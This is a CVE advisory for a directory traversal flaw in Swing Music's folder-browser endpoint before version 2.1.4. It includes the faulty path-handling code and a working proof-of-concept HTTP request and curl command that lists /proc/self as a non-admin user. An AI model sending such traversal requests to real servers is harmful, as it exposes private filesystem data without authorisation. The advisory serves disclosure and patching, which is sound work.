Swing Music is a self-hosted music player for local audio files. Prior to version 2.1.4, Swing Music's `list_folders()` function in the…
GitHub_M·CWE-25·Published 2026-01-19
Swing Music is a self-hosted music player for local audio files. Prior to version 2.1.4, Swing Music's `list_folders()` function in the `/folder/dir-browser` endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem. Version 2.1.4 fixes the issue.
Swing Music is a self-hosted music player for local audio files. Prior to version 2.1.4, Swing Music's `list_folders()` function in the `/folder/dir-browser` endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem. Version 2.1.4 fixes the issue.
### Summary Swing Music's `list_folders()` function in the `/folder/dir-browser` endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem. ### Details The `@api.post("/dir-browser")` endpoint lacks proper path validation and authorization checks: - **No authorization requirement**: Any authenticated user can access the endpoint - **Improper path handling**: The code attempts to prepend "/" to non-existent paths but this doesn't prevent traversal: ```python req_dir = pathlib.Path("../../../../etc") # → PosixPath('../../../../etc') if not req_dir.exists(): # → False req_dir = "/" / req_dir # → PosixPath('/../../../../etc') ``` ### PoC 1. Create a non-admin user 2. Authenticate as a non-admin user 3. Send the following request: ``` POST /folder/dir-browser HTTP/1.1 Host: IP:1970 Content-Type: application/json Cookie: access_token_cookie=non-admin-access-token Connection: keep-alive {"folder":"/music/../proc/self/", "tracks_only":false} ``` ```bash curl --path-as-is -i -s -k -X $'POST' -H $'Content-Type: application/json' -b $'access_token_cookie=non-admin-access-token' \ --data-binary $'{\"folder\":\"/music/../proc/self/\", \"tracks_only\":false}' \ $'http://IP:1970/folder/dir-browser' ``` 4. The response will list directories from `/proc/self` instead of restricting to user-accessible paths: ``` HTTP/1.1 200 OK Content-Type: application/json Content-Length: 466 Vary: Accept-Encoding Connection: Keep-Alive {"folders":[{"name":"attr","path":"/music/../proc/self/attr"},{"name":"cwd","path":"/music/../proc/self/cwd"},{"name":"fd","path":"/music/../proc/self/fd"},{"name":"fdinfo","path":"/music/../proc/self/fdinfo"},{"name":"map_files","path":"/music/../proc/self/map_files"},{"name":"net","path":"/music/../proc/self/net"},{"name":"ns","path":"/music/../proc/self/ns"},{"name":"root","path":"/music/../proc/self/root"},{"name":"task","path":"/music/../proc/self/task"}]} ``` ### Impact **Information Disclosure:** - Server filesystem structure and layout - Configuration file locations and names - User account names from directory listings - Software versions and installed packages - Log file locations and system paths **Additional Risks:** - Preparation for further attacks (LFI, RCE) - Bypass of access control mechanisms - Exposure of sensitive directory structures
### Summary Swing Music's `list_folders()` function in the `/folder/dir-browser` endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem. ### Details The `@api.post("/dir-browser")` endpoint lacks proper path validation and authorization checks: - **No authorization requirement**: Any authenticated user can access the endpoint - **Improper path handling**: The code attempts to prepend "/" to non-existent paths but this doesn't prevent traversal: ```python req_dir = pathlib.Path("../../../../etc") # → PosixPath('../../../../etc') if not req_dir.exists(): # → False req_dir = "/" / req_dir # → PosixPath('/../../../../etc') ``` ### PoC 1. Create a non-admin user 2. Authenticate as a non-admin user 3. Send the following request: ``` POST /folder/dir-browser HTTP/1.1 Host: IP:1970 Content-Type: application/json Cookie: access_token_cookie=non-admin-access-token Connection: keep-alive {"folder":"/music/../proc/self/", "tracks_only":false} ``` ```bash curl --path-as-is -i -s -k -X $'POST' -H $'Content-Type: application/json' -b $'access_token_cookie=non-admin-access-token' \ --data-binary $'{\"folder\":\"/music/../proc/self/\", \"tracks_only\":false}' \ $'http://IP:1970/folder/dir-browser' ``` 4. The response will list directories from `/proc/self` instead of restricting to user-accessible paths: ``` HTTP/1.1 200 OK Content-Type: application/json Content-Length: 466 Vary: Accept-Encoding Connection: Keep-Alive {"folders":[{"name":"attr","path":"/music/../proc/self/attr"},{"name":"cwd","path":"/music/../proc/self/cwd"},{"name":"fd","path":"/music/../proc/self/fd"},{"name":"fdinfo","path":"/music/../proc/self/fdinfo"},{"name":"map_files","path":"/music/../proc/self/map_files"},{"name":"net","path":"/music/../proc/self/net"},{"name":"ns","path":"/music/../proc/self/ns"},{"name":"root","path":"/music/../proc/self/root"},{"name":"task","path":"/music/../proc/self/task"}]} ``` ### Impact **Information Disclosure:** - Server filesystem structure and layout - Configuration file locations and names - User account names from directory listings - Software versions and installed packages - Log file locations and system paths **Additional Risks:** - Preparation for further attacks (LFI, RCE) - Bypass of access control mechanisms - Exposure of sensitive directory structures
Swing Music es un reproductor de música autoalojado para archivos de audio locales. Antes de la versión 2.1.4, la función `list_folders()` de Swing Music en el endpoint `/folder/dir-browser` es vulnerable a ataques de salto de directorio. Cualquier usuario autenticado (incluidos los no administradores) puede navegar por directorios arbitrarios en el sistema de archivos del servidor. La versión 2.1.4 soluciona el problema.
| Version | Type | Source | Base | Exp | Impact | Vector |
|---|---|---|---|---|---|---|
| 3.1 | Primary | NVD | 4.3 | 2.8 | 1.4 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N |
| 4.0 | Primary | cve.org | 5.3 | — | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N |
| 4.0 | Primary | cve.org | 5.3 | — | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N |
| 4.0 | Secondary | NVD | 5.3 | — | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X |
| 4.0 | Secondary | GHSA | 5.3 | — | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N |